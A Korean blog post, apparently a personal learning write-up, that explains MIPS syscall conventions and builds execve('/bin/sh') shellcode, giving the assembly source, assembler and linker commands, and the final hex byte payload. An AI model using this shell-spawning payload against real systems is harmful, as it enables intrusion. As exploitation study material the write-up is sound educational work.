execve("/bin/sh",0,0) 를 실행하는 main 함수의 어셈블리 코드는 다음과 같다.
mips도 execve 함수 내부에서 syscall 이 이루어진다.
x64에서는 syscall이 호출되었을 때 rax 값에 따라 어떤 작업을 수행할 지 결정되는데 misp는 해당 역할을 v0이 수행한다.
인자 순서는 a0, a1, a2 순서이다.
syscall 직전에 레지스터 값을 확인해보자.
v0 : 0xfab
a0 : "/bin/sh" 주소
a1 : 0
a2 : 0
이제 쉘코드를 만들어 보자.
다음과 같이 어셈블리코드를 짤 수 있다.
.section .text
.globl _start
_start:
li $t0, 0x2f62696e
sw $t0, ($sp)
li $t0, 0x2f2f7368
sw $t0, 4($sp)
move $a0, $sp
li $v0, 4011
syscall
mips-linux-gnu-as -o sss.o sss.asm
mips-linux-gnu-ld -o sss sss.o -e _start
성공적으로 쉘을 획득하였다.
쉘 코드는 다음과 같다.
\x3c\x08\x2f\x62\x35\x08\x69\x6e\xaf\xa8\x00\x00\x3c\x08\x2f\x2f\x35\x08\x73\x68\xaf\xa8\x00\x04\x03\xa0\x20\x25\x24\x02\x0f\xab\x00\x00\x00\x0c
경우에 따라서 a1, a2를 0으로 set 해야 할 수 있다.
<틀린 부분이 있다면 비난과 욕설을 해주세요>
'mips' 카테고리의 다른 글
mips rop (0) | 2025.03.25 |
---|---|
mips 스택프레임, 레지스터, 어셈블리어 (0) | 2025.03.10 |
mips - 기본 개념 (0) | 2025.02.16 |